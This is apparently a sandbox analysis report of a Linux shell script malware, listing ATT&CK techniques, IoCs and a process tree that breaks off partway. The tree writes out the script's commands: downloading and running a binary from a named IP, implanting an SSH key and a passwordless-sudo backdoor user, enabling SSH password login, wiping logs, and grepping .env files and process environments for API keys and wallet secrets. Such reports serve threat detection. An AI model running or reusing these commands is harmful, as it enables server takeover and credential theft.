22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2

privilege_escalation defense_evasion

description	ioc	Process
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
700	chmod

Executes dropped EXE 24 IoCs

ioc	pid	Process
/tmp/kit	706	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	708	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	711	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	714	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	718	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	721	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	725	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	727	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	729	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	732	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	735	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	737	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	766	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	770	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	773	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	776	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	778	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	780	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	782	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	785	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	789	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	791	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	793	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	796	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh

OS Credential Dumping 1 TTPs 1 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	useradd

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 3 IoCs

Abuse sudo or cached sudo credentials to execute code.

Sudo and Sudo Caching

T1548.003

pid	Process
780	kit
782	kit
785	kit

Adds a user to the system 1 IoCs

pid	Process
811	useradd

Creates/modifies environment variables 1 TTPs 2 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

description	ioc	Process
File opened for modification	/home/prabowo/.bashrc	useradd
File opened for modification	/home/prabowo/.profile	useradd

Deletes log files 1 TTPs 3 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/nginx/access.log	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File truncated	/var/log/apache2/access.log	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File truncated	/var/log/auth.log	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh

Enumerates running processes
Discovers information about currently running processes on the system

Reads network interface configuration 2 TTPs 12 IoCs

Fetches information about one or more active network interfaces.

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/virtual/net/lo/statistics	find
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find
File opened for reading	/sys/devices/virtual/net/lo/statistics	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find

Modifies Bash startup script 2 TTPs 2 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/home/prabowo/.bashrc	useradd
File opened for modification	/home/prabowo/.profile	useradd

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 14 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpufreq	find
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/virtual/tty/tty59/power	find
File opened for reading	/sys/fs/cgroup/systemd/system.slice/[email protected]	find
File opened for reading	/sys/kernel/debug/tracing/events/compaction/mm_compaction_end	find
File opened for reading	/sys/kernel/irq/43	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_es_lookup_extent_enter	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_signalfd4	find
File opened for reading	/sys/devices/platform/power	find
File opened for reading	/sys/module/ext4/holders	find
File opened for reading	/sys/module/suspend	find
File opened for reading	/sys/module/tpm/parameters	find
File opened for reading	/sys/kernel/debug/tracing/events/spi/spi_message_start	find
File opened for reading	/sys/kernel/debug/tracing/events/sched/sched_process_free	find
File opened for reading	/sys/kernel/debug/tracing/events/regmap/regmap_async_io_complete	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_kexec_load	find
File opened for reading	/sys/devices/virtual/tty/tty33	find
File opened for reading	/sys/kernel/debug/tracing/events/vmscan/mm_vmscan_kswapd_sleep	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_close	find
File opened for reading	/sys/devices/platform/a001200.virtio_mmio/power	find
File opened for reading	/sys/bus/platform/drivers/vexpress-sysreg	find
File opened for reading	/sys/kernel/debug/tracing/events/iommu/io_page_fault	find
File opened for reading	/sys/kernel/debug/tracing/events/compaction/mm_compaction_isolate_freepages	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_ppoll	find
File opened for reading	/sys/devices/virtual/tty/tty30	find
File opened for reading	/sys/module/stahp	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_getcpu	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_personality	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_pipe	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_mballoc_discard	find
File opened for reading	/sys/kernel/debug/tracing/events/regmap/regcache_drop_region	find
File opened for reading	/sys/kernel/debug/tracing/events/sched/sched_wakeup_new	find
File opened for reading	/sys/bus/cpu/devices	find
File opened for reading	/sys/fs/cgroup/pids/system.slice/system-serial\x2dgetty.slice	find
File opened for reading	/sys/kernel/debug/tracing/events/filelock/posix_lock_inode	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_evict_inode	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_ext_rm_idx	find
File opened for reading	/sys/kernel/debug/tracing/events/kmem/mm_page_pcpu_drain	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_fork	find
File opened for reading	/sys/kernel/mm/transparent_hugepage	find
File opened for reading	/sys/kernel/irq/34	find
File opened for reading	/sys/kernel/debug/tracing/events	find
File opened for reading	/sys/kernel/debug/tracing/events/jbd2/jbd2_end_commit	find
File opened for reading	/sys/kernel/debug/tracing/events/kvm/kvm_fpu	find
File opened for reading	/sys/bus/i2c/drivers/as3722	find
File opened for reading	/sys/bus/xen	find
File opened for reading	/sys/kernel/debug/tracing/events/spi/spi_master_busy	find
File opened for reading	/sys/kernel/debug/tracing/events/ftrace/funcgraph_entry	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_mq_getsetattr	find
File opened for reading	/sys/fs/cgroup/devices/system.slice/systemd-udevd.service	find
File opened for reading	/sys/module/fscrypto/sections	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_preadv2	find
File opened for reading	/sys/devices/system/clocksource/power	find
File opened for reading	/sys/kernel/debug/tracing/events/vmscan/mm_vmscan_lru_isolate	find
File opened for reading	/sys/devices/platform/a003e00.virtio_mmio/virtio1/power	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_setgid	find
File opened for reading	/sys/devices/virtual/misc/network_throughput	find
File opened for reading	/sys/fs/cgroup/devices/system.slice/systemd-update-utmp.service	find
File opened for reading	/sys/bus/xen-backend/devices	find
File opened for reading	/sys/module/mbcache	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_write	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_getuid	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_sigsuspend	find
File opened for reading	/sys/bus/platform/drivers/imx-mmdc	find
File opened for reading	/sys/bus/spi/drivers/da9052	find
File opened for reading	/sys/kernel/debug/tracing/events/jbd2/jbd2_checkpoint	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/644/task/644/net/dev_snmp6	find
File opened for reading	/proc/788/task/788/attr	find
File opened for reading	/proc/566/net/netfilter	find
File opened for reading	/proc/1/net/dev_snmp6	find
File opened for reading	/proc/14/net	find
File opened for reading	/proc/98/fd	find
File opened for reading	/proc/98/net	find
File opened for reading	/proc/304/task/304/net/dev_snmp6	find
File opened for reading	/proc/669/task/674/net/stat	find
File opened for reading	/proc/21/environ	strings
File opened for reading	/proc/18/fd	find
File opened for reading	/proc/fs/jbd2	find
File opened for reading	/proc/11/task/11	find
File opened for reading	/proc/301/fdinfo	find
File opened for reading	/proc/586/task/586/net/stat	find
File opened for reading	/proc/43/task/43/net/dev_snmp6	find
File opened for reading	/proc/23/net/netfilter	find
File opened for reading	/proc/27/task/27	find
File opened for reading	/proc/41/task/41/fdinfo	find
File opened for reading	/proc/634/ns	find
File opened for reading	/proc/2	find
File opened for reading	/proc/106/task/106/attr	find
File opened for reading	/proc/644/task/644/net/netfilter	find
File opened for reading	/proc/13/task	find
File opened for reading	/proc/22/fd	find
File opened for reading	/proc/222/fdinfo	find
File opened for reading	/proc/1007/task/1007	find
File opened for reading	/proc/301/net/netfilter	find
File opened for reading	/proc/324/task/324/attr	find
File opened for reading	/proc/283/map_files	find
File opened for reading	/proc/1/ns	find
File opened for reading	/proc/4/ns	find
File opened for reading	/proc/585/task/585/net	find
File opened for reading	/proc/76/ns	find
File opened for reading	/proc/281/task/281/ns	find
File opened for reading	/proc/7	find
File opened for reading	/proc/12	find
File opened for reading	/proc/23/fdinfo	find
File opened for reading	/proc/18/map_files	find
File opened for reading	/proc/22/task/22/attr	find
File opened for reading	/proc/222/task/222/net	find
File opened for reading	/proc/669/task/673/fd	find
File opened for reading	/proc/28/net/stat	find
File opened for reading	/proc/76/task/76/fdinfo	find
File opened for reading	/proc/1008/attr	find
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/18/task/18/net/netfilter	find
File opened for reading	/proc/26/fd	find
File opened for reading	/proc/158/task/158/fdinfo	find
File opened for reading	/proc/301/fd	find
File opened for reading	/proc/17/ns	find
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/7/task/7/net/stat	find
File opened for reading	/proc/642/environ	strings
File opened for reading	/proc/76/task/76/net/netfilter	find
File opened for reading	/proc/146/task/146/fdinfo	find
File opened for reading	/proc/669/fd	find
File opened for reading	/proc/640/map_files	find
File opened for reading	/proc/788/net	find
File opened for reading	/proc/281/task/290/ns	find
File opened for reading	/proc/21/net/dev_snmp6	find
File opened for reading	/proc/158/task/158/net/stat	find
File opened for reading	/proc/222/task	find
File opened for reading	/proc/41/fd	find

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
887	grep
889	grep
893	grep
909	grep
923	grep
937	grep
969	grep
879	grep
927	grep
961	grep
977	grep
869	grep
873	grep
947	grep
965	grep
861	grep
897	grep
929	grep
955	grep
979	grep
998	grep
1000	grep
855	grep
899	grep
905	grep
913	grep
945	grep
971	grep
981	grep
863	grep
865	grep
877	grep
885	grep
939	grep
949	grep
953	grep
963	grep
883	grep
919	grep
933	grep
973	grep
983	grep
935	grep
881	grep
891	grep
901	grep
718	kit
911	grep
915	grep
957	grep
967	grep
985	grep
943	grep
959	grep
875	grep
867	grep
931	grep
941	grep
907	grep
917	grep
921	grep
975	grep
859	grep
895	grep

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.re_ibiecZ	mktemp
File opened for modification	/tmp/~/.ssh/authorized_keys	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.pw_hash	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/~/.bash_history	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.rk_12Qof1	mktemp
File opened for modification	/tmp/kit	curl
File opened for modification	/tmp/.el.txt	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.hist_all.txt	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.rw_fMdd0r	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.kontol_miber	cp
File opened for modification	/tmp/.rc_h6rMgq	mktemp
File opened for modification	/tmp/.rw_fMdd0r	mktemp
File opened for modification	/tmp/.mykey_tmp	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.configs.txt	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.rk_12Qof1	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.kontol_miber	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.proc_environ.txt	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.rc_h6rMgq	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh

/tmp/22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
1⤵
- Adds new SSH keys
- Executes dropped EXE
- Deletes log files
- Writes file to tmp directory
PID:644
- /bin/mktemp
  mktemp /tmp/.rc_XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:648
- /bin/mktemp
  mktemp /tmp/.rk_XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:653
- /bin/mktemp
  mktemp /tmp/.rw_XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:657
- /bin/mktemp
  mktemp /tmp/.re_XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:661
- /bin/hostname
  hostname
  2⤵
  PID:666
- /bin/uname
  uname -a
  2⤵
  PID:670
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:676
- /usr/bin/whoami
  whoami
  2⤵
  PID:678
- /usr/bin/id
  id
  2⤵
  PID:681
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  - Reads runtime system information
  PID:686
- /bin/hostname
  hostname -I
  2⤵
  PID:685
- /usr/bin/getent
  getent passwd root
  2⤵
  PID:690
- /usr/bin/cut
  cut -d: -f6
  2⤵
  PID:691
- /bin/mkdir
  mkdir -p "~/.ssh"
  2⤵
  PID:694
- /bin/chmod
  chmod 700 "~/.ssh"
  2⤵
  PID:695
- /bin/chmod
  chmod 600 "~/.ssh/authorized_keys"
  2⤵
  PID:696
- /bin/grep
  grep -qF prabowo-gibran "~/.ssh/authorized_keys"
  2⤵
  PID:697
- /usr/bin/curl
  curl --insecure http://193.135.9.84/k -o /tmp/kit
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod +x /tmp/kit
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /bin/grep
  grep -qiE "ELF|executable"
  2⤵
  PID:702
- /usr/bin/file
  file /tmp/kit
  2⤵
  PID:701
- /usr/bin/openssl
  openssl passwd -6 D4pur.Mbg87
  2⤵
  PID:703
- /usr/bin/python3
  python3 -c " import crypt,random,string salt='\$6\$'+''.join(random.choices(string.ascii_letters+string.digits,k=16))+'\$' print(crypt.crypt('D4pur.Mbg87',salt)) "
  2⤵
  PID:704
- /bin/cat
  cat /tmp/.pw_hash
  2⤵
  PID:705
- /tmp/kit
  /tmp/kit "mkdir -p /root/.ssh"
  2⤵
  PID:706
- /tmp/kit
  /tmp/kit "chmod 700 /root/.ssh"
  2⤵
  PID:708
- /tmp/kit
  /tmp/kit "cat /tmp/.mykey_tmp >> /root/.ssh/authorized_keys"
  2⤵
  PID:711
- /tmp/kit
  /tmp/kit "chmod 600 /root/.ssh/authorized_keys"
  2⤵
  PID:714
- /bin/grep
  grep -qF prabowo-gibran /root/.ssh/authorized_keys
  2⤵
  PID:716
- /tmp/kit
  /tmp/kit "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDemH9j0b53upGjGoFq0bjFKpuGm8/++E1nCGLfk4F5y4Y9ldcS3Qw8CdB2VTof1seESU4U49cYqJ6tjuhVvdEmnM3nBsVtDvj+8RmFi6FqGS2N/9+oSXrH3e5v+Pk58VJrWzp6x9INUKCalLZaJaeGjQNopcavqdn1A/9Tu2cRzsG5x9nQZlR5tqXZFK4+1ceKdu9/VZpe/kNG6W56JzkP/2LXDzQn+fgV4k41sJe2QY85smZ3uH/rDtYIkM1SH4Galy6Kpql8weUXQ72KLK8GEiBAEr93SQJF+Cyx39AcxCldMTL8TgfYX2HIcZlttJoxeTH8hvEzFPNX/n33SHEOYSANydh0tCRlSOHrj4kGjfJl8c9xk7dPufV3GvB82f6ca6vw3L/P5jni5uJRp8/1bErUwTlf/hCfIpUdD+19j+Jw5XsMgZ5SfL7wVV5jSSIDNZh9arpawNo90VfZAOPDfky0m7Xz/yixBPruYK5LBK7oUCkNS24yxbEWlUL6sVnzdQloKZ3pOzfl2D9B4ikdB/RBgtak0QL2FPtVRdwYq5mPYJ9/VzalS4lzlJdUhe/oNvSSj/d4j1xXprFAlcNMyI2Q9vg/Eu1wKRtgp9k5Odd931iSs4FJf+gD/7+7l01+aptMo9no3wtMC+rOJi+wWCBbuTF+JB7/u3eJZIe8Ew== prabowo-gibran' > /root/.ssh/authorized_keys"
  2⤵
  - System Network Configuration Discovery
  PID:718
- /tmp/kit
  /tmp/kit "chmod 600 /root/.ssh/authorized_keys"
  2⤵
  PID:721
- /tmp/kit
  /tmp/kit "useradd -m prabowo 2>/dev/null"
  2⤵
  PID:725
- /tmp/kit
  /tmp/kit "adduser -D -s /bin/sh -h /home/prabowo -g '' prabowo 2>/dev/null"
  2⤵
  PID:727
- /tmp/kit
  /tmp/kit "echo 'prabowo:x:1001:1001:,,,:/home/prabowo:/bin/sh' >> /etc/passwd"
  2⤵
  PID:729
- /tmp/kit
  /tmp/kit "echo 'prabowo:x:1001:' >> /etc/group"
  2⤵
  PID:732
- /tmp/kit
  /tmp/kit "mkdir -p /home/prabowo"
  2⤵
  PID:735
- /tmp/kit
  /tmp/kit "chown prabowo:prabowo /home/prabowo"
  2⤵
  PID:737
- /bin/sleep
  sleep 0.5
  2⤵
  PID:739
- /tmp/kit
  /tmp/kit "mkdir -p /home/prabowo/.ssh"
  2⤵
  PID:766
- /tmp/kit
  /tmp/kit "chmod 700 /home/prabowo/.ssh"
  2⤵
  PID:770
- /tmp/kit
  /tmp/kit "cat /tmp/.mykey_tmp >> /home/prabowo/.ssh/authorized_keys"
  2⤵
  PID:773
- /tmp/kit
  /tmp/kit "chmod 600 /home/prabowo/.ssh/authorized_keys"
  2⤵
  PID:776
- /tmp/kit
  /tmp/kit "chown -R prabowo:prabowo /home/prabowo/.ssh"
  2⤵
  PID:778
- /tmp/kit
  /tmp/kit "echo 'prabowo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/prabowo"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:780
- /tmp/kit
  /tmp/kit "chmod 440 /etc/sudoers.d/prabowo"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:782
- /tmp/kit
  /tmp/kit "usermod -aG sudo prabowo 2>/dev/null || usermod -aG wheel prabowo 2>/dev/null || addgroup prabowo wheel 2>/dev/null || addgroup prabowo sudo 2>/dev/null"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:785
- /tmp/kit
  /tmp/kit "sed -i 's/^PasswordAuthentication no/PasswordAuthentication yes/i' /etc/ssh/sshd_config"
  2⤵
  PID:789
- /tmp/kit
  /tmp/kit "sed -i 's/^ChallengeResponseAuthentication no/ChallengeResponseAuthentication yes/i' /etc/ssh/sshd_config"
  2⤵
  PID:791
- /tmp/kit
  /tmp/kit "grep -q '^PasswordAuthentication' /etc/ssh/sshd_config || echo 'PasswordAuthentication yes' >> /etc/ssh/sshd_config"
  2⤵
  PID:793
- /tmp/kit
  /tmp/kit "systemctl restart sshd 2>/dev/null || systemctl restart ssh 2>/dev/null || service sshd restart 2>/dev/null || service ssh restart 2>/dev/null || rc-service sshd restart 2>/dev/null || /etc/init.d/sshd restart 2>/dev/null || /etc/init.d/ssh restart 2>/dev/null || /etc/init.d/dropbear restart 2>/dev/null"
  2⤵
  PID:796
- /bin/sleep
  sleep 1
  2⤵
  PID:798
- /usr/bin/id
  id prabowo
  2⤵
  PID:807
- /usr/bin/id
  id -u
  2⤵
  PID:809
- /usr/sbin/useradd
  useradd -m prabowo
  2⤵
  - Modifies password files for system users/ groups
  - OS Credential Dumping
  - Adds a user to the system
  - Creates/modifies environment variables
  - Modifies Bash startup script
  - Reads runtime system information
  PID:811
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:818
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:819
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:820
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:821
- /bin/mkdir
  mkdir -p /home/prabowo/.ssh
  2⤵
  PID:823
- /bin/chmod
  chmod 700 /home/prabowo/.ssh
  2⤵
  PID:825
- /bin/grep
  grep -qF prabowo-gibran /home/prabowo/.ssh/authorized_keys
  2⤵
  PID:826
- /bin/chmod
  chmod 600 /home/prabowo/.ssh/authorized_keys
  2⤵
  PID:828
- /bin/chown
  chown -R prabowo:prabowo /home/prabowo/.ssh
  2⤵
  PID:830
- /usr/bin/id
  id prabowo
  2⤵
  PID:832
- /bin/rm
  rm -f /tmp/kit /tmp/.mykey_tmp /tmp/.pw_hash
  2⤵
  PID:834
- /usr/bin/find
  find / "(" -name .env -o -name "*.env" -o -name ".env.*" ")" -not -path "*/proc/*" -not -path "*/sys/*" -not -path "*/dev/*"
  2⤵
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:836
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:855
- /usr/bin/strings
  strings /proc/1/environ
  2⤵
  PID:854
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  PID:857
- /usr/bin/strings
  strings /proc/10/environ
  2⤵
  PID:856
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:859
- /usr/bin/strings
  strings /proc/106/environ
  2⤵
  PID:858
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:861
- /usr/bin/strings
  strings /proc/108/environ
  2⤵
  PID:860
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:863
- /usr/bin/strings
  strings /proc/109/environ
  2⤵
  PID:862
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:865
- /usr/bin/strings
  strings /proc/11/environ
  2⤵
  PID:864
- /bin/grep
